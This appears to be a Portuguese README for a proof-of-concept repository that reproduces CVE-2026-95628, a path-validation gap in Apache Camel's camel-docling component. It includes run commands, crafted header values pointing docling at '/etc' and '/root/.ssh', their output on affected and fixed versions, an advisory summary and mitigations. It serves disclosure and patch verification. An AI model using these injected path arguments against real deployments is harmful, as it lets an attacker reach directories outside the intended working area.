
Prova de conceito reproduzível para CVE-2026-95628, uma lacuna de validação de caminho absoluto no Apache Camel camel-docling, com harnesses Spring Boot e Quarkus e verificação de correção.
validatePathSafety não rejeitava caminhos absolutos (correção incompleta da CVE-2026-40047)Reprodutor de prova de conceito executável para a vulnerabilidade do Apache Camel em que a verificação de caminho de argumento personalizado
introduzida pela correção da CVE-2026-40047 procurava apenas
por travessia relativa. Ela rejeitava um valor contendo ../ e um valor cuja forma normalizada ainda continha
um elemento .. — mas nunca verificava se um valor era um caminho absoluto, e um caminho absoluto sem
segmentos de travessia não contém nenhum dos dois.
| Runtime | Diretório | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Saída em um build afetado (idêntica em ambos os runtimes):
1) A relative traversal value, which the CVE-2026-40047 fix does reject
header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
2) Traversal hidden behind redundant separators - also rejected (normalized first)
header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
3) An ABSOLUTE path, which contains no traversal sequence at all
header CamelDoclingCustomArguments = [--artifacts-path, /etc]
argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
4) The same, attached to the flag after an equals sign
header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
>>> PROVEN: ...
As sondas 1 e 2 mostram a correção do CVE-2026-40047 a fazer o seu trabalho. As sondas 3 e 4 são a lacuna: a flag está na lista de permissões dessa correção (--artifacts-path indica ao docling onde encontrar os seus artefactos de modelo), e o valor passa incólume em ambas as formas de argumento — um elemento de lista separado a seguir à flag, e anexado após um =. Uma parte capaz de escolher os argumentos personalizados poderia, portanto, apontar o processo docling para qualquer diretório a que o processo Camel tenha acesso, fora do diretório de trabalho onde a verificação deveria manter os valores de caminho, o que é exatamente o resultado que a correção anterior visava impedir.
Não é necessária qualquer instalação do docling. A falha está na linha de comandos que o Camel constrói, pelo que a opção doclingCommand do endpoint aponta para um substituto de gravação da CLI que escreve o vetor de argumentos que lhe foi entregue num ficheiro. O DoclingProducer real, o validateCustomArguments() real e o validatePathSafety() real são executados; apenas a ferramenta externa é substituída.
Apenas o modo CLI, que é o predefinido, passa argumentos personalizados ao docling.
CamelDoclingCustomArguments pertence ao namespace de cabeçalhos do Camel, que os consumidores que aplicam a filtragem de cabeçalhos predefinida do Camel — os consumidores JMS e Kafka, por exemplo — removem das mensagens recebidas. O problema é, portanto, alcançado onde uma rota encaminha valores influenciados externamente para o cabeçalho, ou onde um consumidor mapeia cabeçalhos recebidos sem essa filtragem.
| Propriedade | Valor |
|---|---|
| Componente | camel-docling (DoclingProducer.validatePathSafety()) |
| CWE | CWE-22 (Limitação Incorreta de um Nome de Caminho a um Diretório Restrito) |
| Severidade | Média |
| Vetor de ataque | Um caminho absoluto como valor de uma flag semelhante a caminho presente na lista de permissões em CamelDoclingCustomArguments |
| Impacto | Apontar o processo docling para qualquer diretório a que o processo Camel tenha acesso |
| Versões Afetadas | Da 4.15.0 anterior à 4.18.5, da 4.19.0 anterior à 4.22.2 |
| Versões Corrigidas | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24893 |
| Crédito | Zhixi "Jace" Sun, investigador de segurança independente |
Advisory: https://camel.apache.org/security/CVE-2026-95628.html
Relacionado: esta é uma correção incompleta do CVE-2026-40047, e o cabeçalho de caminho de saída do mesmo componente é o CVE-2026-95629.
validatePathSafety agora também rejeita um valor de argumento personalizado semelhante a caminho que seja um caminho absoluto, falhando a troca com uma IllegalArgumentException a indicar que o argumento não pode ser um caminho absoluto. Como a verificação reside no auxiliar partilhado que valida todos os valores semelhantes a caminho, ambas as formas de argumento estão cobertas.
Corrigido em main em apache/camel#26738 (fd3bc8e7), retroportado para camel-4.22.x em #26743 (e9233c37) e para camel-4.18.x em #26744 (59d30af1).
Defina camel.version para 4.22.2 e execute novamente. Verificado contra 4.22.1 → 4.22.2:
3) An ABSOLUTE path, which contains no traversal sequence at all
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path
4) The same, attached to the flag after an equals sign
REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path
>>> NOT reproduced: the absolute path was rejected too.
Não construa CamelDoclingCustomArguments a partir de valores que se originam fora da implantação; remova esse
cabeçalho das mensagens que chegam do exterior antes que alcancem um endpoint docling; e certifique-se de que os consumidores
que mapeiam cabeçalhos recebidos descartem o namespace de cabeçalhos do Camel, para que apenas a rota escolha os argumentos personalizados.
Este repositório é publicado para fins educacionais e defensivos: para ajudar os usuários do Apache Camel a entender a vulnerabilidade, verificar se são afetados e confirmar que a atualização a resolve. Não use este material contra sistemas que você não possui ou opera.